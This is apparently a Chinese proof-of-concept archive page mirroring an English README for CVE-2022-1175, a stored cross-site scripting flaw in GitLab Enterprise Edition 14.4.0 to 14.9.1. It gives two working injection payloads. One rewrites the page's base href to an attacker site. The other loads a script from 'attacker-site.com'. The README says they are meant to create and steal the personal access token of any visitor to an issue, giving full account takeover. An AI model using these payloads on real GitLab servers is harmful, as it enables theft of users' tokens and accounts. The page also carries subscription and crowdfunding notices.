目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2022-1175 PoC — GitLab Enterprise Edition 跨站脚本漏洞

来源
关联漏洞
标题: GitLab Enterprise Edition 跨站脚本漏洞 (CVE-2022-1175)
Description:GitLab Enterprise Edition是一套内容管理系统。 GitLab Enterprise Edition 14.4.0版本到14.9.1版本存在跨站脚本漏洞,该漏洞源于对注释中用户提供的数据的清理不足。远程用户可以利用该漏洞在易受攻击的网站上下文中在用户浏览器中注入和执行任意 HTML 和脚本代码。
介绍
# CVE-2022-1175

Gitlab Stored XSS, can be set in an issue on a project, either your own or another users. Allows attacks such as creating & stealing a Personal Access Token (PAT) of anyone who visits an issue. PAT's can then provide full Gitlab API access as that user equivilent to a full account takeover. 

Can be abused by changing the base of the project to your site, so scripts are sourced by your site. Change javascript on your site to match the script names being called in the page. This can break things on the page though.

```<pre data-sourcepos="&#34;%22 href=&#34;x&#34;></pre><base href=http://unsafe-website.com/><pre x=&#34;"><code></code></pre>```

Standard script include also works depending on the sites CSP policy. This is more stealthy.

```<pre data-sourcepos="&#34;%22 href=&#34;x&#34;></pre><script src="https://attacker-site.com/bad.js"></script><pre x=&#34;"><code></code></pre>```

GitLab devs handily included the full XSS string in the code which can be found here:

https://gitlab.com/gitlab-org/gitlab/-/compare/v14.9.1-ee...v14.9.2-ee?from_project_id=278964&page=4

*Reference:*

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1175
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →